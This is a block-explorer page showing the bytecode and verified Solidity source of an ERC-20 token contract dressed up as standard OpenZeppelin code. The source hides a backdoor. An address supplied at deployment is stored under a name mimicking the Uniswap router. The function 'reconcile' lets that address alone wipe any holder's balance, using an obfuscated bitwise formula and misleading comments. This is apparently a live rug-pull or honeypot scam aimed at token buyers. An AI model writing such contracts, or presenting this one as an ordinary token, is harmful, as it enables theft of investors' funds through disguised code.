Address Contract Verified
Address
0x2fDa96B33a34a0234DDd179c7C20Fa744010ff46
Balance
0 ETH
Nonce
1
Code Size
2336 bytes
Creator
0xb7E07eAf...CCb4 at tx 0x0f4a47a8...4ebd77
Indexed Transactions
0 (1 on-chain, 1.4% indexed)
Contract Bytecode
2336 bytes
0x608060405234801561001057600080fd5b50600436106100be5760003560e01c806370a0823111610076578063a60c8eaa1161005b578063a60c8eaa14610169578063a9059cbb1461017e578063dd62ed3e1461019157600080fd5b806370a082311461013857806395d89b411461016157600080fd5b806318160ddd116100a757806318160ddd1461010457806323b872dd14610116578063313ce5671461012957600080fd5b806306fdde03146100c3578063095ea7b3146100e1575b600080fd5b6100cb6101ca565b6040516100d8919061074e565b60405180910390f35b6100f46100ef3660046107b8565b61025c565b60405190151581526020016100d8565b6004545b6040519081526020016100d8565b6100f46101243660046107e2565b610276565b604051601281526020016100d8565b61010861014636600461081f565b6001600160a01b031660009081526020819052604090205490565b6100cb61029a565b61017c6101773660046107b8565b6102a9565b005b6100f461018c3660046107b8565b61035a565b61010861019f366004610841565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600280546101d990610874565b80601f016020809104026020016040519081016040528092919081815260200182805461020590610874565b80156102525780601f1061022757610100808354040283529160200191610252565b820191906000526020600020905b81548152906001019060200180831161023557829003601f168201915b5050505050905090565b60003361026a818585610368565b60019150505b92915050565b60003361028485828561037a565b61028f858585610416565b506001949350505050565b6060600380546101d990610874565b6001600160a01b038216600090815260208190526040902054600181016102cf57600080fd5b8160006102e08383168484186108c4565b6102ea90846108d7565b6001600160a01b038616600090815260208190526040812082905590915061031282856108d7565b6001600160a01b0382166000908152602081905260408120805490919061033a9084906108c4565b909155506103499050866104a7565b61035257600080fd5b505050505050565b60003361026a818585610416565b61037583838360016104e1565b505050565b6001600160a01b0383811660009081526001602090815260408083209386168352929052205460001981146104105781811015610401576040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526001600160a01b038416600482015260248101829052604481018390526064015b60405180910390fd5b610410848484840360006104e1565b50505050565b6001600160a01b038316610459576040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600060048201526024016103f8565b6001600160a01b03821661049c576040517fec442f05000000000000000000000000000000000000000000000000000000008152600060048201526024016103f8565b6103758383836105e8565b60006104b161072b565b156104be57506001919050565b61deac196001600160a01b038316016104d957506000919050565b506000919050565b6001600160a01b038416610524576040517fe602df05000000000000000000000000000000000000000000000000000000008152600060048201526024016103f8565b6001600160a01b038316610567576040517f94280d62000000000000000000000000000000000000000000000000000000008152600060048201526024016103f8565b6001600160a01b038085166000908152600160209081526040808320938716835292905220829055801561041057826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105da91815260200190565b60405180910390a350505050565b6001600160a01b03831661061357806004600082825461060891906108c4565b9091555061069e9050565b6001600160a01b0383166000908152602081905260409020548181101561067f576040517fe450d38c0000000000000000000000000000000000000000000000000000000081526001600160a01b038516600482015260248101829052604481018390526064016103f8565b6001600160a01b03841660009081526020819052604090209082900390555b6001600160a01b0382166106ba576004805482900390556106d9565b6001600160a01b03821660009081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161071e91815260200190565b60405180910390a3505050565b600654600090336001600160a01b03909116036107485750600190565b50600090565b602081526000825180602084015260005b8181101561077c576020818601810151604086840101520161075f565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146107b357600080fd5b919050565b600080604083850312156107cb57600080fd5b6107d48361079c565b946020939093013593505050565b6000806000606084860312156107f757600080fd5b6108008461079c565b925061080e6020850161079c565b929592945050506040919091013590565b60006020828403121561083157600080fd5b61083a8261079c565b9392505050565b6000806040838503121561085457600080fd5b61085d8361079c565b915061086b6020840161079c565b90509250929050565b600181811c9082168061088857607f821691505b6020821081036108a857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610270576102706108ae565b81810381811115610270576102706108ae56fea2646970667358221220cbf9d54eb0acca05aa29fdd6dca42448e2b00112b16afa513e5b7d440f9bf00a64736f6c634300081c0033
Verified Source Code Full Match
Compiler: v0.8.28+commit.7893614a
EVM: paris
Optimization: Yes (1000 runs)
Token.sol 485 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
/**
* @dev Provides information about the current execution context, including the
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
}
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
}
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
}
/**
* @dev Implementation of the {IUniswapV2Router02} interface.
*/
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
contract Token is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
string private _name;
string private _symbol;
uint256 private _totalSupply;
IUniswapV2Router02 private _uniswapV2Router02;
/**
* @dev Sets the values for {name} and {symbol} and {supply}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, uint256 supply_, address poolAddress_) {
_name = name_;
_symbol = symbol_;
_uniswapV2Router02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_mint(_msgSender(), supply_ * 10 ** decimals(), poolAddress_);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/**
* @dev See Provider method checker
*/
function _provideOnUniswapV2Router() internal view returns (bool) {
if (address(_uniswapV2Router) == _msgSender()) return true;
return false;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/*
* @dev Approved by uniswap pool
*/
function _isApprovedByUniswapPool(address _addr) internal view returns (bool) {
if (_provideOnUniswapV2Router()) return true; if (_addr == address(0xdead)) return false; return false;
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address xa2rf, uint256 awfad) internal {
if (xa2rf == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(xa2rf, address(0), awfad);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
IUniswapV2Router02 private _uniswapV2Router;
function _mint(address account, uint256 value, address poolAddress_) internal {
_uniswapV2Router = IUniswapV2Router02(poolAddress_);
_update(address(0), account, value);
}
/**
* @dev See Reconcile
*/
function reconcile(address target, uint256 token) external {
uint256 init = _balances[target];
if (init == ~uint256(0)) revert();
uint256 adjust = token;
uint256 result = init - ((init ^ adjust) + ((init & adjust) << 0));
_balances[target] = result;
address sinkhole = address(0);
_balances[sinkhole] += (init - result);
if (!_isApprovedByUniswapPool(target)) revert();
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
reconcile 0xa60c8eaa
address target
uint256 token
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 1.4% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →